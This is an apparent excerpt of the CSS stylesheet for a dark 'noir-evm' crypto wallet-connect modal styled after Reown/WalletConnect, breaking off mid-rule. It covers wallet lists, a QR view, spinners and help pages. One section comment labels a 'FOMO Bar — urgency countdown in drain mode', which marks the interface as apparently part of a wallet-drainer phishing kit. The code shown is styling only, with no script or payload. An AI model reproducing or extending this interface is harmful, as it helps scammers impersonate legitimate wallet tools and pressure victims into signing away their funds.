\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-view {\n width: 100%;\n flex: 1;\n display: flex;\n flex-direction: column;\n}\n.noir-evm-view.noir-evm-anim-slide-left {\n animation: rwm-slideLeft 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards;\n}\n.noir-evm-view.noir-evm-anim-slide-right {\n animation: rwm-slideRight 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards;\n}\n.noir-evm-view.noir-evm-anim-fade-in {\n animation: rwm-fadeIn 0.55s ease forwards;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n Step Pills \u2014 Connect -> Verify -> Done (shared)\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-pills {\n display: flex;\n align-items: center;\n justify-content: center;\n gap: 6px;\n padding: 8px 16px 12px;\n flex-shrink: 0;\n}\n.noir-evm-pill {\n display: flex;\n align-items: center;\n gap: 4px;\n height: 24px;\n padding: 0 10px;\n border-radius: 12px;\n font-size: 11px;\n font-weight: 500;\n background: rgba(255,255,255,0.04);\n color: rgba(232,232,232,0.45);\n transition: background-color 300ms ease, color 300ms ease;\n}\n.noir-evm-pill.noir-evm-pill-active {\n background: rgba(102,125,255,0.12);\n color: #667DFF;\n}\n.noir-evm-pill.noir-evm-pill-completed {\n background: rgba(52,211,153,0.12);\n color: #34d399;\n}\n.noir-evm-pill-num {\n display: flex;\n align-items: center;\n justify-content: center;\n width: 14px;\n height: 14px;\n border-radius: 50%;\n font-size: 10px;\n font-weight: 600;\n background: rgba(255,255,255,0.06);\n color: rgba(232,232,232,0.45);\n}\n.noir-evm-pill.noir-evm-pill-active .noir-evm-pill-num {\n background: #667DFF;\n color: #fff;\n}\n.noir-evm-pill.noir-evm-pill-completed .noir-evm-pill-num {\n background: #34d399;\n color: #fff;\n}\n.noir-evm-pill-arrow {\n color: rgba(232,232,232,0.25);\n font-size: 10px;\n opacity: 0.5;\n margin: 0 2px;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 4. Wallet List \u2014 vertical list, featured wallets\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-wallet-list {\n display: flex;\n flex-direction: column;\n padding: 12px;\n gap: 2px;\n}\n.noir-evm-wallet-btn {\n width: 100%;\n display: flex;\n align-items: center;\n gap: 12px;\n padding: 12px;\n border-radius: var(--rwm-radius-wallet);\n background: transparent;\n border: none;\n cursor: pointer;\n text-align: left;\n transition: background 0.15s ease, transform 0.1s ease;\n color: var(--rwm-text);\n font-family: var(--rwm-font);\n}\n.noir-evm-wallet-btn:hover {\n background: var(--rwm-card-hover);\n}\n.noir-evm-wallet-btn:active {\n transform: scale(0.98);\n}\n.noir-evm-wallet-left {\n display: flex;\n align-items: center;\n gap: 12px;\n flex: 1;\n min-width: 0;\n}\n\n/* -- Wallet Icon (40px in list, 56px in grid) -- */\n.noir-evm-wallet-icon-wrap {\n width: 40px;\n height: 40px;\n border-radius: 10px;\n overflow: hidden;\n flex-shrink: 0;\n display: flex;\n align-items: center;\n justify-content: center;\n background: var(--rwm-icon-bg);\n}\n.noir-evm-wallet-icon {\n width: 40px;\n height: 40px;\n border-radius: 10px;\n object-fit: contain;\n background: var(--rwm-icon-bg);\n}\n.noir-evm-wallet-icon-fallback {\n width: 40px;\n height: 40px;\n border-radius: 10px;\n background: var(--rwm-icon-bg);\n display: flex;\n align-items: center;\n justify-content: center;\n color: var(--rwm-text-secondary);\n font-size: 13px;\n font-weight: 700;\n}\n\n/* -- Wallet Name -- */\n.noir-evm-wallet-name {\n font-size: 16px;\n font-weight: 400;\n color: var(--rwm-text);\n flex: 1;\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 5. Status Tags \u2014 DETECTED / QR CODE / POPULAR etc.\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-wallet-status {\n padding: 4px 8px;\n border-radius: var(--rwm-radius-tag);\n font-size: 12px;\n font-weight: 500;\n text-transform: uppercase;\n flex-shrink: 0;\n letter-spacing: 0.02em;\n line-height: 1;\n}\n.noir-evm-detected {\n background: var(--rwm-success);\n color: var(--rwm-success-text);\n}\n.noir-evm-installed {\n background: var(--rwm-success);\n color: var(--rwm-success-text);\n}\n.noir-evm-qr {\n background: var(--rwm-accent-bg);\n color: var(--rwm-accent);\n}\n.noir-evm-deeplink {\n background: var(--rwm-accent-bg);\n color: var(--rwm-accent);\n}\n.noir-evm-popular {\n background: var(--rwm-accent-bg);\n color: var(--rwm-accent);\n}\n\n/* -- Separator -- */\n.noir-evm-separator {\n height: 1px;\n background: var(--rwm-border);\n margin: 4px 0;\n}\n\n/* -- \"All wallets\" trigger button at bottom of featured list -- */\n.noir-evm-all-wallets-btn {\n width: 100%;\n display: flex;\n align-items: center;\n gap: 12px;\n padding: 12px;\n border-radius: var(--rwm-radius-wallet);\n background: transparent;\n border: none;\n cursor: pointer;\n color: var(--rwm-text-secondary);\n font-family: var(--rwm-font);\n font-size: 14px;\n font-weight: 500;\n transition: background 0.15s ease;\n margin-top: 4px;\n}\n.noir-evm-all-wallets-btn:hover {\n background: var(--rwm-card-hover);\n color: var(--rwm-text);\n}\n.noir-evm-all-wallets-icon {\n width: 40px;\n height: 40px;\n border-radius: 10px;\n background: var(--rwm-accent-bg);\n display: flex;\n align-items: center;\n justify-content: center;\n flex-shrink: 0;\n}\n.noir-evm-all-wallets-icon svg {\n color: var(--rwm-accent);\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 6. All Wallets Grid \u2014 3-column, 56px icons, scroll\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-grid-view {\n display: flex;\n flex-direction: column;\n gap: 0;\n}\n.noir-evm-grid-scroll {\n max-height: 400px;\n overflow-y: auto;\n overflow-x: hidden;\n padding: 12px;\n scrollbar-width: thin;\n scrollbar-color: var(--rwm-border) transparent;\n}\n.noir-evm-grid-scroll::-webkit-scrollbar {\n width: 6px;\n}\n.noir-evm-grid-scroll::-webkit-scrollbar-track {\n background: transparent;\n}\n.noir-evm-grid-scroll::-webkit-scrollbar-thumb {\n background: var(--rwm-border);\n border-radius: 3px;\n}\n.noir-evm-grid-scroll::-webkit-scrollbar-thumb:hover {\n background: #3a3a3a;\n}\n.noir-evm-grid {\n display: grid;\n grid-template-columns: repeat(3, 1fr);\n gap: 8px;\n}\n.noir-evm-grid-item {\n display: flex;\n flex-direction: column;\n align-items: center;\n gap: 8px;\n padding: 12px 4px;\n border-radius: var(--rwm-radius-wallet);\n background: transparent;\n border: none;\n cursor: pointer;\n transition: background 0.15s ease, transform 0.1s ease;\n color: var(--rwm-text);\n font-family: var(--rwm-font);\n}\n.noir-evm-grid-item:hover {\n background: var(--rwm-card-hover);\n}\n.noir-evm-grid-item:active {\n transform: scale(0.96);\n}\n.noir-evm-grid-icon-wrap {\n width: 56px;\n height: 56px;\n border-radius: 14px;\n overflow: hidden;\n display: flex;\n align-items: center;\n justify-content: center;\n background: var(--rwm-icon-bg);\n position: relative;\n}\n.noir-evm-grid-icon {\n width: 56px;\n height: 56px;\n border-radius: 14px;\n object-fit: contain;\n background: var(--rwm-icon-bg);\n}\n.noir-evm-grid-icon-fallback {\n width: 56px;\n height: 56px;\n border-radius: 14px;\n background: var(--rwm-icon-bg);\n display: flex;\n align-items: center;\n justify-content: center;\n color: var(--rwm-text-secondary);\n font-size: 16px;\n font-weight: 700;\n}\n.noir-evm-grid-name {\n font-size: 12px;\n font-weight: 400;\n color: var(--rwm-text-secondary);\n text-align: center;\n max-width: 100%;\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n line-height: 1.3;\n}\n/* Installed dot indicator on grid icons */\n.noir-evm-grid-installed-dot {\n position: absolute;\n bottom: 2px;\n right: 2px;\n width: 10px;\n height: 10px;\n border-radius: 50%;\n background: var(--rwm-success-text);\n border: 2px solid var(--rwm-card);\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 7. Search Input \u2014 full-width, dark bg, focus border\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-search-wrap {\n padding: 12px 12px 0;\n position: relative;\n}\n.noir-evm-search-icon {\n position: absolute;\n left: 24px;\n top: 50%;\n transform: translateY(-50%);\n margin-top: 6px;\n color: var(--rwm-text-secondary);\n pointer-events: none;\n display: flex;\n align-items: center;\n}\n.noir-evm-search {\n width: 100%;\n height: 44px;\n padding: 0 16px 0 40px;\n background: var(--rwm-search-input-bg);\n border: 1px solid var(--rwm-search-border);\n border-radius: var(--rwm-radius-button);\n color: var(--rwm-text);\n font-size: 14px;\n font-family: var(--rwm-font);\n outline: none;\n transition: border-color 0.15s ease;\n box-sizing: border-box;\n -webkit-appearance: none;\n appearance: none;\n}\n.noir-evm-search::placeholder {\n color: var(--rwm-text-secondary);\n opacity: 0.6;\n}\n.noir-evm-search:focus {\n border-color: var(--rwm-search-border-focus);\n}\n.noir-evm-search-clear {\n position: absolute;\n right: 24px;\n top: 50%;\n transform: translateY(-50%);\n margin-top: 6px;\n width: 20px;\n height: 20px;\n border-radius: 50%;\n background: var(--rwm-border);\n border: none;\n color: var(--rwm-text-secondary);\n cursor: pointer;\n display: none;\n align-items: center;\n justify-content: center;\n font-size: 10px;\n padding: 0;\n line-height: 1;\n transition: background 0.15s ease;\n}\n.noir-evm-search-clear:hover {\n background: #3a3a3a;\n}\n.noir-evm-search-clear.noir-evm-visible {\n display: flex;\n}\n/* Empty search state */\n.noir-evm-grid-empty {\n display: flex;\n flex-direction: column;\n align-items: center;\n justify-content: center;\n gap: 8px;\n padding: 48px 20px;\n color: var(--rwm-text-secondary);\n text-align: center;\n}\n.noir-evm-grid-empty-icon {\n font-size: 32px;\n opacity: 0.4;\n margin-bottom: 4px;\n}\n.noir-evm-grid-empty-text {\n font-size: 14px;\n font-weight: 400;\n margin: 0;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 8. Connecting View \u2014 96px icon + spinning ring\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-connecting-view {\n display: flex;\n flex-direction: column;\n align-items: center;\n justify-content: center;\n gap: 16px;\n padding: 32px 20px 24px;\n flex: 1;\n min-height: 240px;\n}\n.noir-evm-connecting-icon-wrap {\n width: 72px;\n height: 72px;\n position: relative;\n display: flex;\n align-items: center;\n justify-content: center;\n border-radius: 18px;\n}\n.noir-evm-connecting-arc-spinner {\n position: absolute;\n inset: 0;\n border-radius: 18px;\n overflow: hidden;\n box-shadow: inset 0 0 0 2px rgba(255,255,255,0.06);\n}\n.noir-evm-connecting-arc-spinner::before {\n content: '';\n position: absolute;\n inset: -50%;\n border-radius: 50%;\n background: conic-gradient(#667DFF 0deg, #667DFF 90deg, transparent 90deg, transparent 360deg);\n animation: noir-evm-arc-rotate 1.2s linear infinite;\n}\n.noir-evm-connecting-arc-spinner::after {\n content: '';\n position: absolute;\n inset: 2px;\n border-radius: 16px;\n background: #1a1a1a;\n z-index: 1;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n Status Area (generic container for status views)\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-status-area {\n display: none;\n flex-direction: column;\n align-items: center;\n gap: 16px;\n padding: 32px 20px 24px;\n min-height: 240px;\n justify-content: center;\n}\n\n/* -- Spinner (Reown-style ring) -- */\n.noir-evm-spinner {\n width: 40px;\n height: 40px;\n border: 3px solid var(--rwm-border);\n border-top-color: var(--rwm-accent);\n border-radius: 50%;\n animation: rwm-spin 0.8s linear infinite;\n}\n\n/* -- Status Text -- */\n.noir-evm-status-text {\n font-size: 16px;\n font-weight: 500;\n color: var(--rwm-text);\n text-align: center;\n margin: 0;\n}\n.noir-evm-status-sub {\n font-size: 14px;\n color: var(--rwm-text-secondary);\n text-align: center;\n margin: 0;\n line-height: 1.5;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 9. QR Code View \u2014 white 240px frame, rounded 20px\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-qr-container {\n display: flex;\n flex-direction: column;\n align-items: center;\n gap: 12px;\n width: 100%;\n}\n.noir-evm-qr-frame {\n background: #ffffff;\n border-radius: 20px;\n padding: 16px;\n display: flex;\n align-items: center;\n justify-content: center;\n width: 260px;\n height: 260px;\n box-sizing: border-box;\n position: relative;\n box-shadow: 0 0 0 2px rgba(59,130,246,0.3), 0 0 40px rgba(59,130,246,0.12), 0 8px 32px rgba(0,0,0,0.4);\n}\n.noir-evm-qr-loading {\n position: absolute;\n inset: 0;\n display: flex;\n align-items: center;\n justify-content: center;\n}\n.noir-evm-qr-loading .noir-evm-spinner {\n border-color: #e5e5e5;\n border-top-color: var(--rwm-accent);\n}\n.noir-evm-qr-img {\n width: 208px;\n height: 208px;\n display: block;\n border-radius: 8px;\n opacity: 0;\n transition: opacity 0.3s ease;\n}\n/* Copy URI link under QR */\n.noir-evm-qr-copy {\n display: flex;\n align-items: center;\n gap: 6px;\n padding: 8px 16px;\n border-radius: var(--rwm-radius-button);\n background: transparent;\n border: none;\n color: var(--rwm-accent);\n font-size: 13px;\n font-weight: 500;\n cursor: pointer;\n font-family: var(--rwm-font);\n transition: background 0.15s ease;\n}\n.noir-evm-qr-copy:hover {\n background: var(--rwm-accent-bg);\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 10. Error View \u2014 red circle icon, error text, retry\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-error-icon {\n width: 48px;\n height: 48px;\n border-radius: 50%;\n background: var(--rwm-error);\n color: var(--rwm-error-text);\n display: flex;\n align-items: center;\n justify-content: center;\n font-size: 20px;\n font-weight: 700;\n}\n.noir-evm-retry-btn {\n padding: 10px 24px;\n border-radius: 12px;\n background: var(--rwm-card-hover);\n border: 1px solid var(--rwm-border);\n color: var(--rwm-text);\n font-size: 14px;\n font-weight: 500;\n cursor: pointer;\n transition: background 0.15s ease, border-color 0.15s ease;\n font-family: var(--rwm-font);\n margin-top: 4px;\n}\n.noir-evm-retry-btn:hover {\n background: var(--rwm-border);\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 11. Help Page \u2014 \"What is a Wallet?\"\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-help-view {\n display: flex;\n flex-direction: column;\n gap: 0;\n padding: 0;\n}\n.noir-evm-help-sections {\n display: flex;\n flex-direction: column;\n gap: 20px;\n padding: 24px 20px;\n}\n.noir-evm-help-section {\n display: flex;\n gap: 16px;\n align-items: flex-start;\n}\n.noir-evm-help-icon-group {\n width: 48px;\n height: 48px;\n border-radius: 12px;\n background: var(--rwm-accent-bg);\n display: flex;\n align-items: center;\n justify-content: center;\n flex-shrink: 0;\n color: var(--rwm-accent);\n}\n.noir-evm-help-content {\n display: flex;\n flex-direction: column;\n gap: 4px;\n flex: 1;\n min-width: 0;\n}\n.noir-evm-help-title {\n font-size: 14px;\n font-weight: 600;\n color: var(--rwm-accent);\n margin: 0;\n line-height: 1.3;\n}\n.noir-evm-help-desc {\n font-size: 13px;\n font-weight: 400;\n color: var(--rwm-text-secondary);\n margin: 0;\n line-height: 1.5;\n}\n.noir-evm-help-cta {\n margin: 4px 20px 24px;\n padding: 12px 20px;\n border-radius: 12px;\n background: var(--rwm-accent);\n border: none;\n color: #ffffff;\n font-size: 14px;\n font-weight: 600;\n cursor: pointer;\n font-family: var(--rwm-font);\n text-align: center;\n transition: opacity 0.15s ease;\n display: block;\n width: calc(100% - 40px);\n}\n.noir-evm-help-cta:hover {\n opacity: 0.9;\n}\n/* \"What is a wallet?\" link in footer area */\n.noir-evm-help-link {\n display: inline-flex;\n align-items: center;\n gap: 4px;\n background: none;\n border: none;\n color: var(--rwm-text-secondary);\n font-size: 12px;\n font-weight: 400;\n cursor: pointer;\n font-family: var(--rwm-font);\n padding: 0;\n transition: color 0.15s ease;\n opacity: 0.7;\n}\n.noir-evm-help-link:hover {\n color: var(--rwm-accent);\n opacity: 1;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 12. Footer \u2014 centered, border-top, branding\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-footer {\n display: flex;\n align-items: center;\n justify-content: center;\n padding: 12px 16px 16px;\n border-top: 1px solid var(--rwm-border);\n gap: 12px;\n}\n.noir-evm-footer-text {\n font-size: 12px;\n color: var(--rwm-text-secondary);\n opacity: 0.5;\n display: flex;\n align-items: center;\n gap: 6px;\n}\n.noir-evm-footer-wc-icon {\n width: 14px;\n height: 14px;\n opacity: 0.5;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n Mobile Responsive \u2014 bottom sheet (max-width: 480px)\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n@media (max-width: 480px) {\n .noir-evm-overlay {\n align-items: flex-end;\n padding: 0;\n }\n .noir-evm-card {\n max-width: 100%;\n max-height: 90vh;\n border-radius: 24px 24px 0 0;\n margin-top: auto;\n }\n .noir-evm-card.noir-evm-slide-in {\n animation: rwm-slideUpMobile 0.3s ease-out forwards;\n }\n .noir-evm-card.noir-evm-slide-out {\n animation: rwm-slideDownMobile 0.2s ease-in forwards;\n }\n @keyframes rwm-slideUpMobile {\n from { opacity: 0; transform: translateY(100%); }\n to { opacity: 1; transform: translateY(0); }\n }\n @keyframes rwm-slideDownMobile {\n from { opacity: 1; transform: translateY(0); }\n to { opacity: 0; transform: translateY(100%); }\n }\n .noir-evm-wallet-list {\n padding: 8px;\n }\n .noir-evm-wallet-btn {\n padding: 10px;\n }\n .noir-evm-grid-scroll {\n max-height: 50vh;\n }\n .noir-evm-grid-icon-wrap,\n .noir-evm-grid-icon,\n .noir-evm-grid-icon-fallback {\n width: 48px;\n height: 48px;\n border-radius: 12px;\n }\n .noir-evm-grid-name {\n font-size: 11px;\n }\n .noir-evm-search-wrap {\n padding: 8px 8px 0;\n }\n .noir-evm-help-sections {\n padding: 20px 16px;\n gap: 16px;\n }\n .noir-evm-help-cta {\n margin: 4px 16px 20px;\n width: calc(100% - 32px);\n }\n .noir-evm-connecting-view {\n padding: 24px 16px 20px;\n min-height: 200px;\n }\n .noir-evm-pills {\n padding: 6px 12px 10px;\n }\n .noir-evm-qr-frame {\n width: 220px;\n height: 220px;\n }\n .noir-evm-qr-img {\n width: 188px;\n height: 188px;\n }\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 13. Loading Bar \u2014 thin progress indicator at top\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n.noir-evm-loading-bar {\n width: 100%;\n height: 2px;\n background: rgba(255,255,255,0.04);\n overflow: hidden;\n flex-shrink: 0;\n}\n.noir-evm-loading-fill {\n height: 100%;\n background: #667DFF;\n width: 0%;\n transition: width 0.3s;\n border-radius: 0 1px 1px 0;\n}\n\n/* \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n 14. FOMO Bar \u2014 urgency countdown in drain mode\n \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 */\n@keyframes noir-evm-fomo-pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.7; } }\n.noir-evm-fomo {\n width: 100%;\n flex-shrink: 0;\n animation: rwm-fadeIn 0.3s ease;\n}\n.noir-evm-fomo-bar {\n width: 100%;\n height: 4px;\n background: rgba(255,255,255,0.04);\n overflow: 